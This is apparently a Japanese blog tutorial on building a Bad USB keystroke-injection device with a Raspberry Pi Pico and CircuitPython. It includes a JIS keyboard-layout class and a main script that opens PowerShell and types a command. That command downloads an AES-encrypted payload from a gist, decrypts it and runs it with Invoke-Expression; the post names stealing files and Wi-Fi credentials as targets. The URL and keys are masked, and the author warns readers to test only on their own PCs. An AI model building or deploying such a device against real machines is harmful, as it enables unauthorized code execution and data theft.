はじめに
近年、セキュリティ分野では「Flipper Zero」という多機能デバイスが注目されています。
ある日、知り合いにこのデバイスを見せてもらい、その多様な機能に感動しました。Flipper Zeroは、RFIDのクローン作成やBluetoothリモート操作、さらにはUSB HIDデバイスとして動作するなど、さまざまなハッキングツールを備えています。
こうした機能の多彩さを目の当たりにし、セキュリティの仕組みや回避手法をより深く理解したいと感じ、自分でも簡単なハッキングデバイスを作成してみることにしました。
今回の記事では、Raspberry Pi PicoとCircuitPythonを使って、Bad USBを自作した体験を紹介します。Flipper Zeroそのものの機能とは異なるものの、Bad USBもセキュリティの理解に非常に役立つデバイスです。
この作成プロセスを通じて学んだことや気をつけるべき点なども併せて解説しています。
画像はRaspberry Pi Picoです。非常に小さいですね。
⚠️ 注意事項
Bad USBの作成や実験は、あくまでセキュリティ学習や技術理解を目的としたものです。
そのため、以下の点に十分ご注意ください。
-
自己所有のPCのみで実験すること
他人のPCや会社のPCなど、所有者の許可を得ていない環境での実験は絶対に行わないでください。 -
悪用厳禁
本記事で紹介している手法や技術は、セキュリティの脆弱性を理解し、対策を考えるためのものです。
これを用いて他人のデバイスに不正にアクセスしたり、情報を盗むような行為は犯罪です。
Flipper Zeroの機能一覧
- RFIDクローン作成:RFIDを読み取り、コピー可能。
- 信号再送信:IR(赤外線)やRF(ラジオ周波数)でデバイスを制御。
- Bluetoothリモート操作:Bluetooth機器との接続・制御。
- デジタルマルチメーター:基本的な電圧測定が可能。
- Sub-GHz無線解析:さまざまなSub-GHz周波数での信号解析や再送信。
- USB HID機能:Bad USBとして使用し、キーストローク送信が可能。
- その他:GPIOピンを使ったカスタムツールの作成、近接通信、ペイロード送信など。
Flipper Zeroは以上のような多機能を備えていますが、今回はBad USBの部分にフォーカスして自作を試みます。
実際の攻撃手法
Bad USBの基本的な仕組みとして、以下の手順を想定しています(Windows PCの場合):
- PCと接続:USBポートに差し込むとHIDデバイスとして認識される。
-
「ファイル名を指定して実行」を起動:
Windows + R
キーを送信。
-
コマンドプロンプトまたはPowerShellの起動:
cmd
またはpowershell
を送信。
-
コマンド実行:PCのファイルを圧縮して外部サーバへ送信、無線アクセスポイントの情報を取得して外部へ送信など。
上記の手順により、Bad USBはキーストロークを使った攻撃を実現します。たった数回のキーストロークでも、意図した命令を送信するだけでPC内の情報を盗み出すことが可能です。
攻撃手法における工夫
今回のBad USBの作成で行った工夫は以下の通りです:
- キーストロークの短縮:実行するコマンドはGitHubからのスクリプトダウンロードのみとし、その他のキーストロークを最小限に。
- 通信の暗号化:GitHubにアップロードするスクリプトを暗号化し、PC上で復号化して実行。
- 実行完了の可視化:オンボードLEDを利用し、実行中は点灯、終了後に消灯させることで引き抜くタイミングを明確化。
こうした工夫により、実際の試行では約10秒でPowerShellの実行を完了しました。
以下は実行したPowerShellの例です。※実際の使用を避けるため、一部マスクしています。
$uri = "https://gist.githubusercontent.com/xxx/xxx/raw/xxx/gistfile1.txt"; $key = [Convert]::FromBase64String("xxx"); $iv = [Convert]::FromBase64String("xxx"); $encryptedData = (New-Object Net.WebClient).DownloadString($uri); $encryptedBytes = [Convert]::FromBase64String($encryptedData); $aes = New-Object System.Security.Cryptography.AesManaged; $aes.Key = $key; $aes.IV = $iv; $plaintextBytes = $aes.CreateDecryptor().TransformFinalBlock($encryptedBytes, 0, $encryptedBytes.Length); $script = [System.Text.Encoding]::UTF8.GetString($plaintextBytes); Invoke-Expression $script
作成手順
以下の手順でBad USBを作成します。
-
道具の準備
-
Raspberry Pi Pico:Amazonで約1000円。
Raspberry Pi Picoは、手頃な価格のマイクロコントローラーボードで、CircuitPythonを使うことで、簡単にUSBキーボードやマウスとして動作させることができます。
このため、PicoとCircuitPythonの組み合わせはBadUSBのようなデバイスを手軽に作成するのに適しています。コードを書いて即実行でき、HID機能でホストPCへの入力操作をシミュレートできるため、開発・テストも非常に簡単です。 -
USBケーブル:USB Type-C オス、USBオス。
Raspberry Pi PicoをPCと接続するために使用します。
注意点として、充電専用ではなくデータ転送に対応しているものを選ぶ必要があります。
-
Raspberry Pi Pico:Amazonで約1000円。
-
CircuitPythonのインストール
-
コードの書き込み
- 作成したコードをCircuitPythonでPicoに書き込み、必要なライブラリも追加します。
今回は「adafruit_hid」ライブラリが必要なため、こちらからCircuitPythonのバージョンに対応する「adafruit-circuitpython-bundle-x.x-mpy-yyyymmdd.zip」をダウンロードして、libフォルダに「adafruit_hid」フォルダをコピーします。
- 作成したコードをCircuitPythonでPicoに書き込み、必要なライブラリも追加します。
-
JIS配列キーボードに対応するための工夫
- CircuitPythonのHIDライブラリはデフォルトでUS配列を前提としているため、JIS配列のキーを正しく認識するためにはキーコードのマッピングを調整する必要があります。
- 具体的には、JIS配列固有のキー(「半角/全角」キーや「@」キーなど)をUS配列に対応するキーコードへと変換するようにします。また、Shiftキーと組み合わせた場合のコード変換も考慮し、必要に応じてカスタムマッピングのテーブルを作成することが推奨されます。
実際の実装例は以下のようになります。(こちらの記事を参考にさせていただきました)
keyboard_layout_jp.py(クラスの実装)
#Map ASCII characters to appropriate keypresses on a Japanese keyboard.
from adafruit_hid.keyboard_layout_base import KeyboardLayoutBase
class KeyboardLayoutJP(KeyboardLayoutBase):
SHIFT_FLAG = (1<<9)
ASCII_TO_KEYCODE = (
0x0, # NUL 0 0x00
0x0, # SOH 1 0x01
0x0, # STX 2 0x02
0x0, # ETX 3 0x03
0x0, # EOT 4 0x04
0x0, # ENQ 5 0x05
0x0, # ACK 6 0x06
0x0, # BEL 7 0x07
0x2A, # BS 8 0x08
0x2B, # TAB 9 0x09
0x28, # LF 10 0x0A
0x0, # VT 11 0x0B
0x0, # FF 12 0x0C
0x0, # CR 13 0x0D
0x0, # SO 14 0x0E
0x0, # SI 15 0x0F
0x0, # DEL 16 0x10
0x0, # DC1 17 0x11
0x0, # DC2 18 0x12
0x0, # DC3 19 0x13
0x0, # DC4 20 0x14
0x0, # NAK 21 0x15
0x0, # SYN 22 0x16
0x0, # ETB 23 0x17
0x0, # CAN 24 0x18
0x0, # EM 25 0x19
0x0, # SUB 26 0x1A
0x0, # ESC 27 0x1B
0x0, # FS 28 0x1C
0x0, # GS 29 0x1D
0x0, # RS 30 0x1E
0x0, # US 31 0x1F
0x2C, # Space 32 0x20
0x21E, # ! 33 0x21
0x21F, # " 34 0x22
0x220, # # 35 0x23
0x221, # $ 36 0x24
0x222, # % 37 0x25
0x223, # & 38 0x26
0x224, # ' 39 0x27
0x225, # ( 40 0x28
0x226, # ) 41 0x29
0x234, # * 42 0x2A
0x233, # + 43 0x2B
0x36, # , 44 0x2C
0x2D, # - 45 0x2D
0x37, # . 46 0x2E
0x38, # / 47 0x2F
0x27, # 0 48 0x30
0x1E, # 1 49 0x31
0x1F, # 2 50 0x32
0x20, # 3 51 0x33
0x21, # 4 52 0x34
0x22, # 5 53 0x35
0x23, # 6 54 0x36
0x24, # 7 55 0x37
0x25, # 8 56 0x38
0x26, # 9 57 0x39
0x34, # : 58 0x3A
0x33, # ; 59 0x3B
0x236, # < 60 0x3C
0x22D, # = 61 0x3D
0x237, # > 62 0x3E
0x238, # ? 63 0x3F
0x2F, # @ 64 0x40
0x204, # A 65 0x41
0x205, # B 66 0x42
0x206, # C 67 0x43
0x207, # D 68 0x44
0x208, # E 69 0x45
0x209, # F 70 0x46
0x20A, # G 71 0x47
0x20B, # H 72 0x48
0x20C, # I 73 0x49
0x20D, # J 74 0x4A
0x20E, # K 75 0x4B
0x20F, # L 76 0x4C
0x210, # M 77 0x4D
0x211, # N 78 0x4E
0x212, # O 79 0x4F
0x213, # P 80 0x50
0x214, # Q 81 0x51
0x215, # R 82 0x52
0x216, # S 83 0x53
0x217, # T 84 0x54
0x218, # U 85 0x55
0x219, # V 86 0x56
0x21A, # W 87 0x57
0x21B, # X 88 0x58
0x21C, # Y 89 0x59
0x21D, # Z 90 0x5A
0x30, # [ 91 0x5B
0x89, # ¥ 92 0x5C
0x32, # ] 93 0x5D
0x2E, # ^ 94 0x5E
0x287, # _ 95 0x5F
0x22F, # ` 96 0x60
0x4, # a 97 0x61
0x5, # b 98 0x62
0x6, # c 99 0x63
0x7, # d 100 0x64
0x8, # e 101 0x65
0x9, # f 102 0x66
0xA, # g 103 0x67
0xB, # h 104 0x68
0xC, # i 105 0x69
0xD, # j 106 0x6A
0xE, # k 107 0x6B
0xF, # l 108 0x6C
0x10, # m 109 0x6D
0x11, # n 110 0x6E
0x12, # o 111 0x6F
0x13, # p 112 0x70
0x14, # q 113 0x71
0x15, # r 114 0x72
0x16, # s 115 0x73
0x17, # t 116 0x74
0x18, # u 117 0x75
0x19, # v 118 0x76
0x1A, # w 119 0x77
0x1B, # x 120 0x78
0x1C, # y 121 0x79
0x1D, # z 122 0x7A
0x230, # { 123 0x7B
0x289, # | 124 0x7C
0x232, # } 125 0x7D
0x22E, # ~ 126 0x7E
0x0, # DEL 127 0x7F
)
code.py(メインのプログラム)
import time
import usb_hid
from adafruit_hid.keyboard import Keyboard
from adafruit_hid.keycode import Keycode
# from adafruit_hid.keyboard_layout_us import KeyboardLayoutUS
from keyboard_layout_jp import KeyboardLayoutJP
keyboard = Keyboard(usb_hid.devices)
keyboard_layout = KeyboardLayoutJP(keyboard)
# PCがPicoを認識するまで待機
time.sleep(4)
# PowerShellを起動
keyboard.send(Keycode.WINDOWS, Keycode.R)
time.sleep(0.5)
keyboard_layout.write("powershell\n")
time.sleep(2)
script = '$uri = "https://gist.githubusercontent.com/xxx/xxx/raw/xxx/gistfile1.txt"; $key = [Convert]::FromBase64String("xxx"); $iv = [Convert]::FromBase64String("xxx"); $encryptedData = (New-Object Net.WebClient).DownloadString($uri); $encryptedBytes = [Convert]::FromBase64String($encryptedData); $aes = New-Object System.Security.Cryptography.AesManaged; $aes.Key = $key; $aes.IV = $iv; $plaintextBytes = $aes.CreateDecryptor().TransformFinalBlock($encryptedBytes, 0, $encryptedBytes.Length); $script = [System.Text.Encoding]::UTF8.GetString($plaintextBytes); Invoke-Expression $script\n'
keyboard_layout.write(script)
-
動作確認
- 完成したBad USBをPCに接続し、JIS配列キーボード上で意図通りのキーストロークが実行されるか確認します。特に、「@」「:」「_」といったJISとUSで配置が異なるキーについて、誤動作がないか入念に確認します。
これらのステップにより、簡単にBad USBが完成します。JIS配列への対応には手間がかかりますが、CircuitPythonでのカスタムマッピングにより、キー入力の精度が向上します。必要な設定やスクリプトについては各自で調整し、必ず自己所有のPCでのみ実験してください。
以下の画像から、正常にPowerShellコマンドをダウンロードして実行できたことがわかります。(テストのため簡単なコマンドにしました)
まとめ
Raspberry Pi PicoでBad USBを自作することで、攻撃手法の仕組みを理解し、どのようにセキュリティが回避されるのかを体験できます。セキュリティエンジニアにとって、こうしたデバイスの作成と実験は、知識を深める上で非常に有意義です。自己研鑽の一環として、安全を保ちながら実験し、セキュリティに関する知見を高めていきましょう。